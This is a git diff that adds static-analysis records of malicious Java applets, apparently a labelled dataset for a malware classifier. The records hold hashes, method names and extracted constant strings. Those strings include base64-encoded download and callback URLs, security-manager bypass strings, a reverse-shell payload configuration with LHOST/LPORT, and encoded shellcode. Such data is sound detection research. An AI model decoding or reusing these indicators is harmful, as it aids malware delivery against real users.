+++ b/java_classification/data/malicious/a848fbb81a8cd2ab3e63b87f36bff4dd7695ea506532074198fefb4876329925.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "7aa2ff49-0cac-4b1b-8e53-a52f6e2d2ba6", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IN,pJ,0L,Pl,Pl,Pj,0L,Pn,pL,PN,pY,xU,Pg,pc,0W,pZ,Kw,pk,YK,Le,P5,PU,Pq,OU,4o,Q6,PU,Pu,PU,Pr,XT,Ll,Kq,Pd,LN,kr,PU,Ln,ML,KQ,xG,xz,Ke,Yl,KG,0f,Tn,m1,PC,Ln,kc,Xe,ll,KL,7s,ZT,DV,9Z,HL,Ou,Pu,P7,pk,Rh,yP,h2,Or,Nw,pe,Pq,x2,Uc,BR,LR,MP,Tk,OV,vN,km,8y,xD,97,pW,p3,0L,KZ,ws,wO,pw,Oe,PS,EK,Jw,70,WR,go,pW,OG,pp,uk,JN,kJ,Os,ov,SK,yM,Qj,LS,4V,aE,P7,pN,kk,lV,1F,2Q,CE,8v,d5,Qw,pw,p9,os,fF,lr,za,I2,qP,RL,KG,rp,Sb,cK,07,Ku,P0,uY,jM,QS,KK,Lf,Np,e1,hu,5s,Ed,Cn,cZ,KG,xM,YS,3o,73,s3,4T,nb,Ep,xS,Uk,v1,Sc,8g,pa,KO,zk,qu,TT,pm,Xp,Eg,pt,si,Pb,pP,Pb,s1,Gp,PY,op,VF,pK,3l,8e,PR,Us,61,z6,aC,ci,op,Vt,DP,Z0,Yo,sJ,bW,t1,QM,PV,Ze,PS,En,Ty,o6,6V,hs,a1,Fl,Kp,uW,LL,KP,t6,Nc,He,Sl,5V,6n,kR,V7,Pw,sx,u4,sy,Yr,iq,QN,M7,sO,5U,ck,kd,Oo,Nb,0T,zx,VR,TG,xY,Qx,KD,MF,cY,JQ,Px,k8,q5,kW,oq,eY,wQ,Nn,kS,nu,tv,cK,mQ,vL,KF,lB,kL,KQ,Nu,Lw,sK,ml,Kt,DL,K3,3Z,eL,ka,NS,iJ,cK,Xk,Ok,Nk,Ok,OL,NR,nf,nj,LL,X9,nM,Zv,n1,nY,Hk,Rr,Sg,C8,Jl,JS,kF,Vw,jv,OP,pC,tP,Ws,UP,QS,0C,Xt,4P,t0,pg,Jv,Ot,oR,CP,a3,D3,Vr,Lb,OQ,gp,e0,rq,qp,rP,t6,Nq,sb,OP,mv,OB,NU,5D,7R,S4,oP,mP,aC,B5,3s,Xv,NQ,xq,dP,mb,L6,O0,nt,pv,Pp,8d,qP,04,vv,R0,0D,qd,sV,Qv,XR,RT,pE,d6,PT,y3,zv,P0,bV,Pp,0v,P6,V6,PT,qS,bw,Bq,rC,Vq,uv,SP,7D,pU,66,7Q,vF,Wu,67,Ht,tV,Tb,Dw,If,85,2F,PQ,uf,SS,Ve,4v,V5,db,yQ,vq,rP,5P,6P,dq,rq,v1,qb,zV,Pv,QD,pF,P1,vv,Pv,WD,pw,pU,PA,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d278cc2e9fe27347997362f6ecc2036e55727178", "file_name": "java_malicious/a848fbb81a8cd2ab3e63b87f36bff4dd7695ea506532074198fefb4876329925", "_id": "7aa2ff49-0cac-4b1b-8e53-a52f6e2d2ba6", "score": 0, "entropy": 5.989345695188658, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3132, "ssdeep": "48:4vVk0yFloNpDyzGDh2rjPDrxhdW5NNNtMIb5GUFwIsFlXRkHccQjtZtgobKqgs58:hFFlIpDErDrRGNyI1RxC92XQjt9bKsCn", "sha256": "a848fbb81a8cd2ab3e63b87f36bff4dd7695ea506532074198fefb4876329925", "md5": "835485628001dab2c790a135baf13c0d", "parent_sha256": "a848fbb81a8cd2ab3e63b87f36bff4dd7695ea506532074198fefb4876329925"}}
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diff --git a/java_classification/data/malicious/a8c442f903dd3f26b1f8a5b8ec6c4cef48fc9e729bb3298af2071014df4c8850.results b/java_classification/data/malicious/a8c442f903dd3f26b1f8a5b8ec6c4cef48fc9e729bb3298af2071014df4c8850.results
new file mode 100755
index 0000000..9c3d5d9
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+++ b/java_classification/data/malicious/a8c442f903dd3f26b1f8a5b8ec6c4cef48fc9e729bb3298af2071014df4c8850.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "edXvHy.java", "class_name": "edXvHy", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "tbhgx", "init"], "minor_version": 0, "const_pool_count": 68}}, "_id": "7140fc13-ca41-4a88-9232-cfff3a1c6de5", "verbose": {"java": {"constant strings": ["\\n\"<\"&", "o!tx}"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "327b72ee7a8dee0cb1736eded8f95b49ccda4e4d", "file_name": "java_malicious/a8c442f903dd3f26b1f8a5b8ec6c4cef48fc9e729bb3298af2071014df4c8850", "_id": "7140fc13-ca41-4a88-9232-cfff3a1c6de5", "score": 0, "entropy": 5.62509247572858, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1068, "ssdeep": "24:Da3yQul2XmPnhPv0OypjbUGYvqo9FslBTaRx0qx:DuyFlqmPZo9bUGYZpWK", "sha256": "a8c442f903dd3f26b1f8a5b8ec6c4cef48fc9e729bb3298af2071014df4c8850", "md5": "8b693d4bb79fb0a5245f3474d596f037", "parent_sha256": "a8c442f903dd3f26b1f8a5b8ec6c4cef48fc9e729bb3298af2071014df4c8850"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/a8f3738b74041589ce471f716b567f40f960a5fc147c66dc7802bf99d2e46a3e.results b/java_classification/data/malicious/a8f3738b74041589ce471f716b567f40f960a5fc147c66dc7802bf99d2e46a3e.results
new file mode 100755
index 0000000..82bda66
--- /dev/null
+++ b/java_classification/data/malicious/a8f3738b74041589ce471f716b567f40f960a5fc147c66dc7802bf99d2e46a3e.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Java_Update.java", "class_name": "Java_Update", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 51, "method_names": ["<init>", "init", "execute", "decode", "updateCheck", "<clinit>"], "minor_version": 0, "const_pool_count": 296}}, "_id": "18745780-576e-48b7-9125-0d7c3b46244b", "verbose": {"java": {"constant strings": ["c2V0U2VjdXJpdHlNYW5hZ2Vy", "ZmlsZTovLy8=", "aHR0cDovL2RpcmVjdHhleC5jb20vdXBsb2Fkcy8xNTUwNDQ0MTEwLmphdmE3dTQ1X25ldC5leGU=", "YXBwZGF0YQ==", "XEphdmFfdXBkYXRlNy5leGU=", "b3MubmFtZQ==", "d2luZG93cw==", "rundll32 url.dll,FileProtocolHandler \"", "\"", "amF2YS5jb20=", "_top", "aHR0cDovL3d3dy5ndXRzY2hlaW5lMjAxNC5jb21saS5jb20vcGFuZWwucGhw", "?success=true&o=", "os.name", "?success=false&o=", "", "amF2YS5zZWN1cml0eS5QZXJtaXNzaW9ucw==", "amF2YS5zZWN1cml0eS5BbGxQZXJtaXNzaW9u", "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "225d15fd45dfc81cd15f10f92e55640082d35445", "file_name": "java_malicious/a8f3738b74041589ce471f716b567f40f960a5fc147c66dc7802bf99d2e46a3e", "_id": "18745780-576e-48b7-9125-0d7c3b46244b", "score": 0, "entropy": 6.170742310266553, "libmagic": "compiled Java class data, version 51.0", "file_size": 5720, "ssdeep": "96:CaOf37GFlYRVrajw1y2W77aA7wBBG84CVnBJqhWD+d4zz+Zat7:CaOf4lsqw19W7+GSbqhWic+Zat7", "sha256": "a8f3738b74041589ce471f716b567f40f960a5fc147c66dc7802bf99d2e46a3e", "md5": "0302c417f9d686c392f3c611ee8bf658", "parent_sha256": "a8f3738b74041589ce471f716b567f40f960a5fc147c66dc7802bf99d2e46a3e"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/a951df03b9423ea4eb95fe1a428fa4ddf8836d04493bb1275f5b7f2e5c775c63.results b/java_classification/data/malicious/a951df03b9423ea4eb95fe1a428fa4ddf8836d04493bb1275f5b7f2e5c775c63.results
new file mode 100755
index 0000000..32d2e6b
--- /dev/null
+++ b/java_classification/data/malicious/a951df03b9423ea4eb95fe1a428fa4ddf8836d04493bb1275f5b7f2e5c775c63.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 86}}, "_id": "1c6fba98-2cda-4c83-906c-98fc753d1310", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,In,pN,pl,PZ,0N,pn,pN,pN,pm,9y,ke,Ps,0e,PS,oP,dM,qP,0C,05,PW,pl,Kq,Pt,LL,KP,p5,Ln,Ml,KR,Hu,pO,pc,M6,lt,sp,t5,SZ,6x,kj,SN,kU,83,8L,KZ,W2,Ju,TP,YK,XL,O3,0W,ps,0m,2Y,iS,XP,op,nw,pw,pr,HP,uQ,b0,lr,MQ,DK,Ow,fn,kk,Xy,xQ,iU,Ps,0U,PN,kY,Gs,wO,p7,O5,P2,UK,Js,wP,WG,7m,Pu,oS,0B,U8,zN,kH,oQ,O5,cy,Yk,1J,Lw,t7,qu,PU,PN,kY,Lp,QS,b2,sS,Xe,Tw,qG,pW,pk,Op,VD,LS,j6,9b,q6,2L,Kf,bS,c2,cO,pe,kw,pp,uj,ZM,QS,KK,L6,Nu,51,ha,uR,Ut,Cn,cX,kF,ho,yt,Ck,wQ,Su,TT,na,ur,X2,EK,v2,cs,8w,pc,kL,JK,qu,TT,pM,Xa,U7,pT,sK,pp,Pp,Ps,cr,wp,Pi,oV,6v,pN,cI,hu,Pr,U5,VQ,zU,QS,cK,Op,V5,Tq,Js,im,S9,Ru,T7,1K,0D,zU,Ps,El,tk,OV,6T,Hr,qP,VN,k0,u5,lL,Kp,tp,54,8C,3J,UF,6N,ka,fu,pW,sJ,U5,cO,9s,yq,QL,mf,co,5u,cy,Kt,Oo,Nd,Pp,8z,Rs,Ds,8K,qh,Kf,mU,Sj,zw,0X,kI,ae,kU,OT,5M,7a,NL,KQ,NE,t5,SK,m0,fN,kV,lP,Kl,KQ,NU,LG,sK,mn,ke,Tn,kg,sK,ul,kQ,NP,Y9,SY,xe,PK,OK,Oi,oL,Nr,nv,nZ,LL,XK,No,zv,n1,ny,HM,2B,SU,cY,ZM,Z1,Kv,V6,zD,o2,PU,75,2s,zP,yG,ps,Xs,Dp,tR,Pw,JT,ot,oS,Gq,xB,Yp,ss,XP,ec,X1,qQ,t0,tb,OP,s0,uQ,sP,kf,Nq,sR,O2,MV,Oq,s1,wr,I6,Mq,rq,yb,N4,oS,Vs,QQ,ss,Uv,NS,QP,sP,pp,xF,OR,N6,PF,PQ,qT,qF,Pp,2p,3V,PU,dg,H4,pT,qr,Rd,p4,t0,0P,9p,Jv,Qv,QF,PF,Pp,0U,f0,0V,Q2,rE,he,cQ,qv,Yg,IQ,vC,Tc,QR,wT,sf,VD,rr,CP,4w,Ew,Gu,4p,X0,9P,aU,bt,w4,tc,UF,Rt,sr,y5,46,Qb,FQ,tv,Rs,QQ,uU,iS,jT,pW,Cd,pp,0t,sp,ff,Su,fg,pU,PA,", "41,25,25,25,25", ",", "", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "dadc2acf594112b6b7894304d5a31d6d03a0e72e", "file_name": "java_malicious/a951df03b9423ea4eb95fe1a428fa4ddf8836d04493bb1275f5b7f2e5c775c63", "_id": "1c6fba98-2cda-4c83-906c-98fc753d1310", "score": 0, "entropy": 6.112916977294643, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3222, "ssdeep": "96:HFloUwsdEhIwGbKou6TDE2iTULNkez1zNjWZ:llo5s+hIwGbKJmQ5ApnJNiZ", "sha256": "a951df03b9423ea4eb95fe1a428fa4ddf8836d04493bb1275f5b7f2e5c775c63", "md5": "308f2563aeb61278c42da49f852c3c3c", "parent_sha256": "a951df03b9423ea4eb95fe1a428fa4ddf8836d04493bb1275f5b7f2e5c775c63"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/a9c05c0d1a0439b135cb185ac7f9ad16e56ba189b6dc529c0f3f755d5aa4e58d.results b/java_classification/data/malicious/a9c05c0d1a0439b135cb185ac7f9ad16e56ba189b6dc529c0f3f755d5aa4e58d.results
new file mode 100755
index 0000000..236769d
--- /dev/null
+++ b/java_classification/data/malicious/a9c05c0d1a0439b135cb185ac7f9ad16e56ba189b6dc529c0f3f755d5aa4e58d.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "uTQJLVI.java", "class_name": "uTQJLVI", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "nDvHqE"], "minor_version": 0, "const_pool_count": 66}}, "_id": "6194831c-f2b0-413d-81bf-4a22b42ae654", "verbose": {"java": {"constant strings": ["\\x12(", "]]].SNS", "_", "\\x16\\x0b\\x16\\x10\\x06\\x07\\x16", ""]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "0ef4481712870b3bb074f3c0faae97f835e82f5a", "file_name": "java_malicious/a9c05c0d1a0439b135cb185ac7f9ad16e56ba189b6dc529c0f3f755d5aa4e58d", "_id": "6194831c-f2b0-413d-81bf-4a22b42ae654", "score": 0, "entropy": 5.8575415016227375, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1618, "ssdeep": "24:RTKGxyQulfJbfDlqkpfg/8GIkgwbwiDMuaL4C55NsVClhXc0H+DWEbqGOLHzUk:5dxyFlfhfP8em0V55+YluJD5boHP", "sha256": "a9c05c0d1a0439b135cb185ac7f9ad16e56ba189b6dc529c0f3f755d5aa4e58d", "md5": "994aed9a636692e300998a1edd7ddec6", "parent_sha256": "a9c05c0d1a0439b135cb185ac7f9ad16e56ba189b6dc529c0f3f755d5aa4e58d"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/aaeae9c4362167bc93c51ad8028ac56ac0e4370bd18cdb8b0a8113caff9e66b9.results b/java_classification/data/malicious/aaeae9c4362167bc93c51ad8028ac56ac0e4370bd18cdb8b0a8113caff9e66b9.results
new file mode 100755
index 0000000..99e4897
--- /dev/null
+++ b/java_classification/data/malicious/aaeae9c4362167bc93c51ad8028ac56ac0e4370bd18cdb8b0a8113caff9e66b9.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/ab2699b5568504eeb8acf448794a3706193afcee434ad184f062550d7dcc9cf4.results b/java_classification/data/malicious/ab2699b5568504eeb8acf448794a3706193afcee434ad184f062550d7dcc9cf4.results
new file mode 100755
index 0000000..96f45d1
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+++ b/java_classification/data/malicious/ab2699b5568504eeb8acf448794a3706193afcee434ad184f062550d7dcc9cf4.results
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diff --git a/java_classification/data/malicious/ac215d83c50dadc98b708ea975698d0450b913a4ed1eb391d590f713c3f925d5.results b/java_classification/data/malicious/ac215d83c50dadc98b708ea975698d0450b913a4ed1eb391d590f713c3f925d5.results
new file mode 100755
index 0000000..74ea4be
--- /dev/null
+++ b/java_classification/data/malicious/ac215d83c50dadc98b708ea975698d0450b913a4ed1eb391d590f713c3f925d5.results
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diff --git a/java_classification/data/malicious/acd9c9c2336de17bb408910cbd3b4ed4a639c9caecbfd62aef58445dde2d98e3.results b/java_classification/data/malicious/acd9c9c2336de17bb408910cbd3b4ed4a639c9caecbfd62aef58445dde2d98e3.results
new file mode 100755
index 0000000..36cbe50
--- /dev/null
+++ b/java_classification/data/malicious/acd9c9c2336de17bb408910cbd3b4ed4a639c9caecbfd62aef58445dde2d98e3.results
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/java_classification/data/malicious/ad1a002df20a5fb4a168c48ea08475d6232762bb1bf6877a4428502114aeb3b8.results b/java_classification/data/malicious/ad1a002df20a5fb4a168c48ea08475d6232762bb1bf6877a4428502114aeb3b8.results
new file mode 100755
index 0000000..b7359e4
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+++ b/java_classification/data/malicious/ad1a002df20a5fb4a168c48ea08475d6232762bb1bf6877a4428502114aeb3b8.results
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\ No newline at end of file
diff --git a/java_classification/data/malicious/ad4ddc401568d5d2e76041ca37d4bec5b800cd1441359931658784d9054ad42b.results b/java_classification/data/malicious/ad4ddc401568d5d2e76041ca37d4bec5b800cd1441359931658784d9054ad42b.results
new file mode 100755
index 0000000..61790f0
--- /dev/null
+++ b/java_classification/data/malicious/ad4ddc401568d5d2e76041ca37d4bec5b800cd1441359931658784d9054ad42b.results
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"3C"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "41d12949d79cb95f00b196715b4ecc5de88173e7", "file_name": "java_malicious/ad4ddc401568d5d2e76041ca37d4bec5b800cd1441359931658784d9054ad42b", "_id": "ebb74422-47b5-4f3e-b9b1-01d8fdc909be", "score": 0, "entropy": 5.16509219130889, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 7661, "ssdeep": "192:6lkP6c3J8aaaaa4sDIPk/FQjZK1BxluFC:6qScikdn1ZgC", "sha256": "ad4ddc401568d5d2e76041ca37d4bec5b800cd1441359931658784d9054ad42b", "md5": "69a8bb70a7db9837927d449afa708cbf", "parent_sha256": "ad4ddc401568d5d2e76041ca37d4bec5b800cd1441359931658784d9054ad42b"}}
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diff --git a/java_classification/data/malicious/ae373eac1448108265f867ef7bfc7b5ebeb666862224351fea7668f0d55d5480.results b/java_classification/data/malicious/ae373eac1448108265f867ef7bfc7b5ebeb666862224351fea7668f0d55d5480.results
new file mode 100755
index 0000000..0c6f0b5
--- /dev/null
+++ b/java_classification/data/malicious/ae373eac1448108265f867ef7bfc7b5ebeb666862224351fea7668f0d55d5480.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/aeda5b2cce3748c49ef3d6d756198c812398fc348776b16557d2ac792e7b0015.results b/java_classification/data/malicious/aeda5b2cce3748c49ef3d6d756198c812398fc348776b16557d2ac792e7b0015.results
new file mode 100755
index 0000000..268743d
--- /dev/null
+++ b/java_classification/data/malicious/aeda5b2cce3748c49ef3d6d756198c812398fc348776b16557d2ac792e7b0015.results
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\ No newline at end of file
diff --git a/java_classification/data/malicious/af155cd9d3c6ab059c8deb8ea73420b9bdfeaf211d81359ba523d82db7785146.results b/java_classification/data/malicious/af155cd9d3c6ab059c8deb8ea73420b9bdfeaf211d81359ba523d82db7785146.results
new file mode 100755
index 0000000..8fd6683
--- /dev/null
+++ b/java_classification/data/malicious/af155cd9d3c6ab059c8deb8ea73420b9bdfeaf211d81359ba523d82db7785146.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "OVhUhvWZhE/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "1e98a907-e11b-4a2c-8ee2-b703967a01a1", "verbose": {"java": {"constant strings": ["OVhUhvWZhE.Payload", ".class", "/OVhUhvWZhE.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "OVhUhvWZhE.dat", "URL", "", "https:", "OVhUhvWZhE/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "OVhUhvWZhE/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "OVhUhvWZhE.PayloadTrustManager", "useFor", "java.net.URLConnection", "OVhUhvWZhE.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javaeLrOzKF.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "35debc605e5da09748bc815542d61f4cf8f9886f", "file_name": "java_malicious/af155cd9d3c6ab059c8deb8ea73420b9bdfeaf211d81359ba523d82db7785146", "_id": "1e98a907-e11b-4a2c-8ee2-b703967a01a1", "score": 0, "entropy": 6.144850729787146, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tM6DUBKO+WQYaThmMux5IJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrB:gmO1tG1atmP/NvpvUrKYvCkgHzbDrDF", "sha256": "af155cd9d3c6ab059c8deb8ea73420b9bdfeaf211d81359ba523d82db7785146", "md5": "dcf7a164d7bf3c9aaaf0e1329e12f712", "parent_sha256": "af155cd9d3c6ab059c8deb8ea73420b9bdfeaf211d81359ba523d82db7785146"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/b0ad39c255ba3ecfc036beb31813ffeb6de4501249955a006d67dc795d6f02ba.results b/java_classification/data/malicious/b0ad39c255ba3ecfc036beb31813ffeb6de4501249955a006d67dc795d6f02ba.results
new file mode 100755
index 0000000..6467737
--- /dev/null
+++ b/java_classification/data/malicious/b0ad39c255ba3ecfc036beb31813ffeb6de4501249955a006d67dc795d6f02ba.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "9cef6a20-7833-494b-832d-1d968ce53c21", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IN,pl,Pn,pZ,0N,pZ,0n,pl,PN,pj,08,h7,p5,PC,0s,0X,k5,Pm,99,lE,P3,0W,ps,oE,4M,qT,pe,PW,pW,pa,hD,LL,K1,Pf,lL,K4,0e,Ll,mn,k0,hU,Xh,ks,9l,Kq,PV,TN,ms,pS,LN,kU,87,Ll,KZ,WB,JU,Ts,im,8N,ou,Pg,pU,Pi,rz,Yu,8B,Ob,NE,Pe,PP,h0,uQ,bp,lB,MR,tk,OB,6L,KI,xy,xD,9S,0w,pw,pN,kJ,wW,7o,pg,O3,0s,EJ,ZS,wv,71,Wo,pW,Os,0b,Uz,ZN,kj,Os,ov,SY,Yo,qJ,LG,tv,aw,pS,0N,kk,l2,q2,rb,s3,X4,Dg,qC,0s,09,of,6T,LP,ZP,Ys,aP,RL,KD,B2,sR,cK,0g,KU,PP,uk,JN,as,Ki,lv,NU,5P,x0,et,54,Co,sj,Ke,XL,I7,sy,Ws,ss,4d,np,eb,XR,EK,vq,SU,XG,p1,Ko,zJ,aU,Tv,PL,HR,eG,pP,3o,0B,pR,p2,sa,G0,PY,ob,vV,pO,sx,xC,0a,eU,VQ,zu,QB,sk,Op,Ve,Tq,J0,Yl,Cz,bS,4q,QM,Pt,zS,0t,5l,ti,oP,V4,Hp,QP,VN,kb,Uu,lN,kt,4F,N4,8w,sy,eS,fL,Kt,6E,pg,sH,uP,3O,9c,yQ,QN,M4,CI,UW,Ci,Kt,Oo,Nv,pF,ZN,60,tu,XY,Qx,KT,M5,Sk,j7,08,kz,Qe,kg,oT,5X,gs,nn,ks,nw,Te,Sk,m1,vn,kV,lR,kn,kQ,Nu,LW,sY,MN,kS,4n,kt,CY,UN,KQ,NV,9k,s9,xK,OK,NI,oK,ON,nR,nt,NX,lm,Hk,Nl,JF,na,nK,hZ,B2,ST,s8,JN,jC,k0,64,Z4,o0,pp,s3,b2,Ls,Qw,pu,8c,Dt,44,0d,zF,OD,oS,U3,Fr,V1,zR,SU,4C,T6,NQ,y2,Nv,O1,sq,w0,iV,ME,2P,i2,N4,oQ,w2,Jp,jv,Op,nf,PT,pV,XV,Qv,P7,FF,R6,PF,QP,3v,QV,X0,rv,Pt,t4,pV,Yp,Jd,pr,BT,p0,06,Pt,vv,PT,qB,ra,up,3v,T5,f1,r6,Q4,v1,qR,wr,Dg,CQ,r6,TD,tv,QB,EF,Wr,xe,2t,p0,eT,rp,63,Qd,y4,rV,9U,60,bv,Ue,f5,45,21,vP,a3,jV,PV,Qp,0v,P3,VT,pv,Wt,p7,pW,pA,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "774f4501a966227c03c0a7be886356ac14615de6", "file_name": "java_malicious/b0ad39c255ba3ecfc036beb31813ffeb6de4501249955a006d67dc795d6f02ba", "_id": "9cef6a20-7833-494b-832d-1d968ce53c21", "score": 0, "entropy": 5.99176456227262, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3102, "ssdeep": "96:hFFl+9+/H4lBne6dFVuRxC92XQjt9bKsCn:1lB/4l1vdqRxEkQpRKx", "sha256": "b0ad39c255ba3ecfc036beb31813ffeb6de4501249955a006d67dc795d6f02ba", "md5": "ca136c6908d5d1abe82a432102441cfb", "parent_sha256": "b0ad39c255ba3ecfc036beb31813ffeb6de4501249955a006d67dc795d6f02ba"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/b1602ba60a00a4326ad65704fed6014300eded6d6ed6a1e6f2c1be185e9a1798.results b/java_classification/data/malicious/b1602ba60a00a4326ad65704fed6014300eded6d6ed6a1e6f2c1be185e9a1798.results
new file mode 100755
index 0000000..54b75e8
--- /dev/null
+++ b/java_classification/data/malicious/b1602ba60a00a4326ad65704fed6014300eded6d6ed6a1e6f2c1be185e9a1798.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "uQcEfTK.java", "class_name": "JGXgwWYpp/uQcEfTK", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "rizVyQNrr"], "minor_version": 0, "const_pool_count": 109}}, "_id": "e0f62854-fd92-4590-8d2b-d0e6dca312e8", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.240330401209092}, "constant strings": ["\\x06\\r\\x1a\\rB\\x1f\\t\\x0f\\x19\\x1e\\x05\\x18\\x15B-\\xc0\\x80\\xc0\\x80<\\t\\x1e\\x01\\x05\\x1f\\x1f\\x05\\x03\\x02", "\\r\\x08\\x08", "\\x06\\r\\x1a\\rB\\x1f\\t\\x0f\\x19\\x1e\\x05\\x18\\x15B<\\t\\x1e\\x01\\x05\\x1f\\x1f\\x05\\x03\\x02", "\\x06\\r\\x1a\\rB\\x1f\\t\\x0f\\x19\\x1e\\x05\\x18\\x15B/\\x03\\x08\\t?\\x03\\x19\\x1e\\x0f\\t", "\\x06\\r\\x1a\\rB\\x1f\\t\\x0f\\x19\\x1e\\x05\\x18\\x15B<\\x1e\\x03\\x18\\t\\x0f\\x18\\x05\\x03\\x02(\\x03\\x01\\r\\x05\\x02"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a1f660dc0295e9a5a8dfc120dfe1fb34cb501f14", "file_name": "java_malicious/b1602ba60a00a4326ad65704fed6014300eded6d6ed6a1e6f2c1be185e9a1798", "_id": "e0f62854-fd92-4590-8d2b-d0e6dca312e8", "score": 0, "entropy": 5.832065107216479, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2372, "ssdeep": "24:bC7WHh1iyQulKVeRUfp8ssUIlsPWk8GOvUwVspyYgPBsCVD7KIJYvgPu2359nP/a:IWDiyFllRUfSssXlBkXJ0YMPDe67vp4", "sha256": "b1602ba60a00a4326ad65704fed6014300eded6d6ed6a1e6f2c1be185e9a1798", "md5": "e2040bb6a01630d010a4ccf2c1e9db49", "parent_sha256": "b1602ba60a00a4326ad65704fed6014300eded6d6ed6a1e6f2c1be185e9a1798"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/b224df52ac0d7b2484a9d3e8b7790af4d0b902c1326baabca078d3ec71ae028b.results b/java_classification/data/malicious/b224df52ac0d7b2484a9d3e8b7790af4d0b902c1326baabca078d3ec71ae028b.results
new file mode 100755
index 0000000..fc98817
--- /dev/null
+++ b/java_classification/data/malicious/b224df52ac0d7b2484a9d3e8b7790af4d0b902c1326baabca078d3ec71ae028b.results
@@ -0,0 +1 @@
